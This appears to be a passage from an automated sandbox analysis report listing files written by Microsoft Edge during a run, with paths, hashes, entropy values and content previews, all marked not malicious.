SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMKwuF9hDO6vP6O+etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEs6ztbz8hu3VlXr4CRo1
MD5:	401A5F553A8AC959A316389803BAFCB7
SHA1:	15B203F93F992FEFEA837323A21E170A558D4CC1
SHA-256:	FD9E7B1B0CE9CC6DB2F5B737692411250E5E85B2807133DA07439C41C9B868E7
SHA-512:	6C07E92D89878BB9DEC72234C322B3A8B5D843DD934D3D05CA5EB1F376A078277AFA13E5D986638ED1D1CBEECF617BF02ADECF8FB8B5EBC701FAC1284A97C4C7
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36d22.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090728806610621
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMKwuF9hDO6vP6O+etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEs6ztbz8hu3VlXr4CRo1
MD5:	401A5F553A8AC959A316389803BAFCB7
SHA1:	15B203F93F992FEFEA837323A21E170A558D4CC1
SHA-256:	FD9E7B1B0CE9CC6DB2F5B737692411250E5E85B2807133DA07439C41C9B868E7
SHA-512:	6C07E92D89878BB9DEC72234C322B3A8B5D843DD934D3D05CA5EB1F376A078277AFA13E5D986638ED1D1CBEECF617BF02ADECF8FB8B5EBC701FAC1284A97C4C7
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF393e4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090728806610621
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMKwuF9hDO6vP6O+etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEs6ztbz8hu3VlXr4CRo1
MD5:	401A5F553A8AC959A316389803BAFCB7
SHA1:	15B203F93F992FEFEA837323A21E170A558D4CC1
SHA-256:	FD9E7B1B0CE9CC6DB2F5B737692411250E5E85B2807133DA07439C41C9B868E7
SHA-512:	6C07E92D89878BB9DEC72234C322B3A8B5D843DD934D3D05CA5EB1F376A078277AFA13E5D986638ED1D1CBEECF617BF02ADECF8FB8B5EBC701FAC1284A97C4C7
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3bdb3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090728806610621
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMKwuF9hDO6vP6O+etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEs6ztbz8hu3VlXr4CRo1
MD5:	401A5F553A8AC959A316389803BAFCB7
SHA1:	15B203F93F992FEFEA837323A21E170A558D4CC1
SHA-256:	FD9E7B1B0CE9CC6DB2F5B737692411250E5E85B2807133DA07439C41C9B868E7
SHA-512:	6C07E92D89878BB9DEC72234C322B3A8B5D843DD934D3D05CA5EB1F376A078277AFA13E5D986638ED1D1CBEECF617BF02ADECF8FB8B5EBC701FAC1284A97C4C7
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF47e25.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090728806610621
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMKwuF9hDO6vP6O+etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEs6ztbz8hu3VlXr4CRo1
MD5:	401A5F553A8AC959A316389803BAFCB7
SHA1:	15B203F93F992FEFEA837323A21E170A558D4CC1
SHA-256:	FD9E7B1B0CE9CC6DB2F5B737692411250E5E85B2807133DA07439C41C9B868E7
SHA-512:	6C07E92D89878BB9DEC72234C322B3A8B5D843DD934D3D05CA5EB1F376A078277AFA13E5D986638ED1D1CBEECF617BF02ADECF8FB8B5EBC701FAC1284A97C4C7
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4daeb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090728806610621
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMKwuF9hDO6vP6O+etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEs6ztbz8hu3VlXr4CRo1
MD5:	401A5F553A8AC959A316389803BAFCB7
SHA1:	15B203F93F992FEFEA837323A21E170A558D4CC1
SHA-256:	FD9E7B1B0CE9CC6DB2F5B737692411250E5E85B2807133DA07439C41C9B868E7
SHA-512:	6C07E92D89878BB9DEC72234C322B3A8B5D843DD934D3D05CA5EB1F376A078277AFA13E5D986638ED1D1CBEECF617BF02ADECF8FB8B5EBC701FAC1284A97C4C7
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Reputation:	unknown
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Reputation:	unknown
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Reputation:	unknown
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Reputation:	unknown
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Reputation:	unknown
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Reputation:	unknown
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Reputation:	unknown
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Reputation:	unknown
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Reputation:	unknown
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Reputation:	unknown
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.019368105211216
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUuRbyn:YWLSGTt1o9LuLgfGBPAzkVj/T8lUuc
MD5:	4A2E4A2A972AC561D1E4EC03BBF0F25E
SHA1:	0737EF92FAC88F9D9A05AB8799B67C37B1C49D16
SHA-256:	8130EF7B4828BF2511FD196BDA76E2947401A7311FE88B4F1D9863AA2372C21C
SHA-512:	E4BA08CA5C1EAEEC10313E6F288385D1CDB524D449603C6703322CF7C4B725467E9598AEA52F94F332B68F02BFCE4D5FC28C4402C3FF71CC4D6510D861EAC98D
Malicious:	false
Reputation:	unknown
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731784584318072}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
